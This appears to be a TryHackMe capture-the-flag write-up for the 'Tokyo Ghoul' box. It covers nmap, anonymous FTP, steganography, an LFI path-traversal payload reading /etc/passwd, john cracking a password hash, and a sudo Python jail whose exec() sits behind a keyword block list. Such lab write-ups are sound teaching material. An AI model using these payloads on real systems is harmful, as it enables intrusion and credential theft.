Tokyo Ghoul TryHackMe Walkthrough

5 min readOct 29, 2022

TryHackMe: Tokyo Ghoul Writeup

Learn about common stego tools and methods, break ciphers, crack passwords and exploit shady scripts.

1. Scanning & Enumeration

1.1 Port Scanning

❯ nmap -sC -sV -A 10.10.202.61
Starting Nmap 7.91 ( https://nmap.org ) at 2021–03–17 01:48 EDT
Nmap scan report for 10.10.202.61
Host is up (0.19s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 3 ftp ftp 4096 Jan 23 22:26 need_Help?
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.8.150.214
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 — secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fa:9e:38:d3:95:df:55:ea:14:c9:49:d8:0a:61:db:5e (RSA)
| 256 ad:b7:a7:5e:36:cb:32:a0:90:90:8e:0b:98:30:8a:97 (ECDSA)
|_ 256 a2:a2:c8:14:96:c5:20:68:85:e5:41:d0:aa:53:8b:bd (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome To Tokyo goul
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.17 seconds

1.2 FTP

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 Jan 23 22:26 need_Help?
226 Directory send OK.
ftp> cd need_Help?
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r — r — 1 ftp ftp 480 Jan 23 22:26 Aogiri_tree.txt
drwxr-xr-x 2 ftp ftp 4096 Jan 23 22:26 Talk_with_me
226 Directory send OK.
ftp> get Aogiri_tree.txt
…
ftp> cd Talk_with_me
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x 1 ftp ftp 17488 Jan 23 22:26 need_to_talk
-rw-r — r — 1 ftp ftp 46674 Jan 23 22:26 rize_and_kaneki.jpg
226 Directory send OK.
ftp> get need_to_talk
…
ftp> get rize_and_kaneki.jpg
…

1.3 File Exploration

❯ file need_to_talk
need_to_talk: ELF 64-bit LSB pie executable, x86–64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86–64.so.2, BuildID[sha1]=adba55165982c79dd348a1b03c32d55e15e95cf6, for GNU/Linux 3.2.0, not stripped
❯ ./need_to_talk
Hey Kaneki finnaly you want to talk
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I’m looking for?
> no
Hmm. I don’t think this is what I was looking for.
Take a look inside of me. rabin2 -z
❯ strings need_to_talk
…
u/UH
You_founH
d_1t
[]A\A]A^A_
{username}
…
❯ ./need_to_talk
Hey Kaneki finnaly you want to talk
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I’m looking for?
> {username}
Good job. I believe this is what you came for:
{stego pass}
❯ steghide — extract — stegofile rize_and_kaneki.jpg
Enter passphrase:
wrote extracted data to “yougotme.txt”.
❯ cat yougotme.txt
haha you are so smart kaneki but can you talk my code
….. .-
….- ….-
….- -….
— … — — .
{truncated}
…
if you can talk it allright you got my secret directory

Using: CyberChef

We have the secret directory!

1.4 Web Exploration

It tells us to scan, so let’s do that.

We reach at an interesting page, which looks vulnerable to LFI.

index.php?view=../../../../etc/passwd

Intersting! But what about a specially crafted request? Trying the below: index.php?view=%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd

We get the good stuff! {username}:{some tasty info mmmmm}

1.5 Hash Cracking

❯ john — wordlist=”/usr/share/wordlists/rockyou.txt” hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status
{password mmmmm} ({username})
1g 0:00:00:01 DONE (2021–03–17 02:43) 0.7812g/s 1200p/s 1200c/s 1200C/s kucing..mexico1
Use the “ — show” option to display all of the cracked passwords reliably
Session completed

2. Foothold

Using this to ssh, we are in!

Let’s do some exploration.

{username}@vagrant:~$ sudo -l
[sudo] password for {username}:
Matching Defaults entries for {username} on vagrant.vm:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User {username} may run the following commands on vagrant.vm:
(ALL) /usr/bin/python3 /home/{username}/jail.py
{username}@vagrant:~$ ls -la
total 16
drwxr-xr-x 2 root root 4096 Jan 23 22:33 .
drwxr-xr-x 4 root root 4096 Jan 23 22:27 ..
-rw-r — r — 1 root root 588 Jan 23 22:27 jail.py
-rw-r — r — 1 root root 33 Jan 23 22:27 user.txt
{username}@vagrant:~$ cat jail.py
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
print(“Hi! Welcome to my world kaneki”)
print(“========================================================================”)
print(“What ? You gonna stand like a chicken ? fight me Kaneki”)
text = input(‘>>> ‘)
for keyword in [‘eval’, ‘exec’, ‘import’, ‘open’, ‘os’, ‘read’, ‘system’, ‘write’]:
if keyword in text:
print(“Do you think i will let you do this ??????”)
return;
else:
exec(text)
print(‘No Kaneki you are so dead’)
if __name__ == “__main__”:
main()
{username}@vagrant:~$ python3 jail.py
Hi! Welcome to my world kaneki
========================================================================
What ? You gonna stand like a chicken ? fight me Kaneki
>>> hi
Traceback (most recent call last):
File “jail.py”, line 16, in <module>
main()
File “jail.py”, line 13, in main
exec(text)
File “<string>”, line 1, in <module>
NameError: name ‘hi’ is not defined

Uh okay, so cheap trick, let’s see if sneaking in works.

>>> “cat root/root.txt”
No Kaneki you are so dead

Apparently not. What we need to do is import os and spawn a shell, or, just cat the root/root.txt file. But, for that, we need to somehow make python execute shell code. How? Python has a built in function exec() that does just that. So, all we need to do is python3 jail-break. Look up here for more information.